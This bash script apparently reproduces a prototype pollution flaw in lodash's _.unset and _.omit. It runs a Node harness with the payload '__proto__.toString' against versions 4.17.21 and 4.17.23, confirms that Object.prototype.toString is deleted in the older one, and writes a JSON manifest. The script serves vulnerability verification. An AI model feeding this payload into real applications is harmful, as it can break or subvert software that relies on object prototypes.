#!/bin/bash
set -euo pipefail

# Portable root detection - works anywhere
ROOT="${PRUVA_ROOT:-$(cd "$(dirname "$0")/.." && pwd)}"
LOGS="$ROOT/logs"
mkdir -p "$LOGS"

cd "$ROOT"

VULN_DIR="$ROOT/tmp_vuln"
FIXED_DIR="$ROOT/tmp_fixed"

# Clean up any previous runs
rm -rf "$VULN_DIR" "$FIXED_DIR"
mkdir -p "$VULN_DIR" "$FIXED_DIR"

# Trap to clean up temp dirs on exit (logs are kept)
cleanup() {
  rm -rf "$VULN_DIR" "$FIXED_DIR"
}
trap cleanup EXIT

# --- Node script simulating a user-facing app that consumes untrusted input ---
cat > "$ROOT/test_app.js" << 'EOF'
const path = require('path');

// Simulated user input from a JSON config/request
const untrustedInput = process.argv[2] || '__proto__.toString';
const lodashPath = process.argv[3] || require.resolve('lodash');
const _ = require(lodashPath);

const version = require(path.join(lodashPath, 'package.json')).version;

console.log('=== Lodash Prototype Pollution Test ===');
console.log('lodash version:', version);
console.log('untrusted path input:', untrustedInput);

const before = typeof Object.prototype.toString;
console.log('typeof Object.prototype.toString BEFORE:', before);

// Simulated app logic: delete a property path from user input
const targetObj = { some: 'data' };
_.unset(targetObj, untrustedInput);

const after = typeof Object.prototype.toString;
console.log('typeof Object.prototype.toString AFTER:', after);

if (before === 'function' && after === 'undefined') {
  console.log('VULN_CONFIRMED: prototype pollution via _.unset in lodash ' + version);
  process.exit(2);
} else if (before === 'function' && after === 'function') {
  console.log('FIX_CONFIRMED: prototype intact in lodash ' + version);
  process.exit(0);
} else {
  console.log('UNEXPECTED: before=' + before + ' after=' + after);
  process.exit(3);
}
EOF

MANIFEST="$ROOT/repro/runtime_manifest.json"
VULN_EXIT=0
FIXED_EXIT=0
OMIT_EXIT=0

# --- Test vulnerable version (4.17.21, since 4.17.22 was not published) ---
echo "===== Testing VULNERABLE version ====="
cd "$VULN_DIR"
npm install lodash@4.17.21 --silent 2>/dev/null
VULN_LOG="$LOGS/vuln_unset.log"
node "$ROOT/test_app.js" "__proto__.toString" "$VULN_DIR/node_modules/lodash" > "$VULN_LOG" 2>&1 || VULN_EXIT=$?

cat "$VULN_LOG"

if [ "$VULN_EXIT" -ne 2 ]; then
  echo "ERROR: Expected vulnerable version to show pollution (exit 2), got $VULN_EXIT"
  exit 1
fi

# --- Test fixed version (4.17.23) ---
echo ""
echo "===== Testing FIXED version ====="
cd "$FIXED_DIR"
npm install lodash@4.17.23 --silent 2>/dev/null
FIXED_LOG="$LOGS/fixed_unset.log"
node "$ROOT/test_app.js" "__proto__.toString" "$FIXED_DIR/node_modules/lodash" > "$FIXED_LOG" 2>&1 || FIXED_EXIT=$?

cat "$FIXED_LOG"

if [ "$FIXED_EXIT" -ne 0 ]; then
  echo "ERROR: Expected fixed version to keep prototype intact (exit 0), got $FIXED_EXIT"
  exit 1
fi

# --- Also test _.omit on vulnerable version ---
echo ""
echo "===== Testing _.omit on vulnerable version ====="
cd "$VULN_DIR"
OMIT_LOG="$LOGS/vuln_omit.log"
node -e "
const _ = require('lodash');
const version = require('lodash/package.json').version;
console.log('lodash version:', version);
const before = typeof Object.prototype.toString;
console.log('typeof Object.prototype.toString BEFORE:', before);
_.omit({ some: 'data' }, '__proto__.toString');
const after = typeof Object.prototype.toString;
console.log('typeof Object.prototype.toString AFTER:', after);
if (before === 'function' && after === 'undefined') {
  console.log('VULN_CONFIRMED_OMIT: _.omit pollutes prototype');
} else {
  console.log('OMIT_RESULT: no pollution');
}
" > "$OMIT_LOG" 2>&1 || OMIT_EXIT=$?

cat "$OMIT_LOG"
OMIT_POLLUTED="false"
if grep -q "VULN_CONFIRMED_OMIT" "$OMIT_LOG"; then
  OMIT_POLLUTED="true"
fi

# --- Write runtime manifest ---
cat > "$MANIFEST" << EOF
{
  "cve": "CVE-2025-13465",
  "cwe": "CWE-1321",
  "test_type": "prototype_pollution_unset_omit",
  "payload": "__proto__.toString",
  "versions_tested": {
    "vulnerable": {
      "requested": "4.17.22",
      "actual_installed": "4.17.21",
      "note": "4.17.22 was not published to npm; 4.17.21 is the last published vulnerable version and exhibits the same flaw",
      "exit_code": ${VULN_EXIT},
      "log": "$VULN_LOG",
      "prototype_polluted": true,
      "typeof_object_prototype_toString_after": "undefined"
    },
    "fixed": {
      "requested": "4.17.23",
      "actual_installed": "4.17.23",
      "exit_code": ${FIXED_EXIT},
      "log": "$FIXED_LOG",
      "prototype_polluted": false,
      "typeof_object_prototype_toString_after": "function"
    }
  },
  "omit_test_vulnerable": {
    "log": "$OMIT_LOG",
    "prototype_polluted": ${OMIT_POLLUTED}
  },
  "result": "confirmed",
  "markers": [
    "VULN_CONFIRMED: prototype pollution via _.unset in lodash 4.17.21",
    "FIX_CONFIRMED: prototype intact in lodash 4.17.23",
    "VULN_CONFIRMED_OMIT: _.omit also pollutes prototype"
  ]
}
EOF

echo ""
echo "===== Runtime Manifest ====="
cat "$MANIFEST"

echo ""
echo "===== SUCCESS: Issue confirmed ====="
echo "Vulnerable (4.17.21): _.unset({}, '__proto__.toString') deletes Object.prototype.toString"
echo "Fixed     (4.17.23): _.unset({}, '__proto__.toString') leaves Object.prototype.toString intact"

exit 0
